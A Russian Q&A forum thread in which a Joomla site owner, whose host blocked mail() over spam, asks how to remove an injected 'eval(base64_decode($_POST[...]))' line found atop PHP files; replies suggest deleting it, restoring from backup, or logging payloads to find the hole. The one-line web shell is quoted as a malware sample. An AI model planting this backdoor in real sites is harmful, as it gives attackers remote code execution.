Задать вопрос

Как избавиться отbase64_decode код на странице?

Есть сайт на joomla, функция mail() была остановлена на хостинге из-за спам рассылки, порывшись на сайте, нашел такие коды <?php eval(base64_decode($_POST['n08c394']));?> в начале php файлов? но когда некоторые начинаю удалять, сайт перестает работать. Как правильно от них избавиться?
Сайт на Joomla, полностью удалить сайт не вариант, сайт рабочий
  • Вопрос задан
  • 2471 просмотр
Подписаться 6 Оценить Комментировать
Помогут разобраться в теме Все курсы
  • Skillfactory
    Профессия Fullstack веб-разработчик на JavaScript и PHP
    20 месяцев
    Далее
  • Хекслет
    PHP-разработчик
    10 месяцев
    Далее
  • Нетология
    Веб-разработчик с нуля: профессия с выбором специализации
    14 месяцев
    Далее
Решения вопроса 1
maddog670
@maddog670
Такой код расценивается как вредоносный, рекомендуется удалить его полностью
от самого начала и до конца и проверить файлы на вставку этого кода
<?php eval(base64_decode($_POST['n08c394']));?>
Ответ написан
Пригласить эксперта
Ответы на вопрос 4
Scorpi
@Scorpi
Что значит перестаёт работать? Ошибка какая то?
Ответ написан
Комментировать
@leopardo11 Автор вопроса
да, скриптом переименовал eval(base64_decode($_POST['n08c394'])); на eval(blabla($_POST['n08c394']));
Ответ написан
opium
@opium
Просто люблю качественно работать
восстановите сайт из бекапа просто
Ответ написан
Комментировать
soshnikov
@soshnikov
Лучше бы сохранили в лог "base64_decode($_POST['n08c394'])" с сопутствующей инфой и посмотрели, что там такое запускается и откуда лезет.
Понимание, самый верный способ решить проблему. Я так понимаю, что удаление этой дряни не закроет ту дыру, через которую она образовалась.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
FoodSoul Калининград
от 180 000 до 250 000 ₽
IT-Spirit Москва
от 230 000 до 320 000 ₽
от 200 000 до 290 000 ₽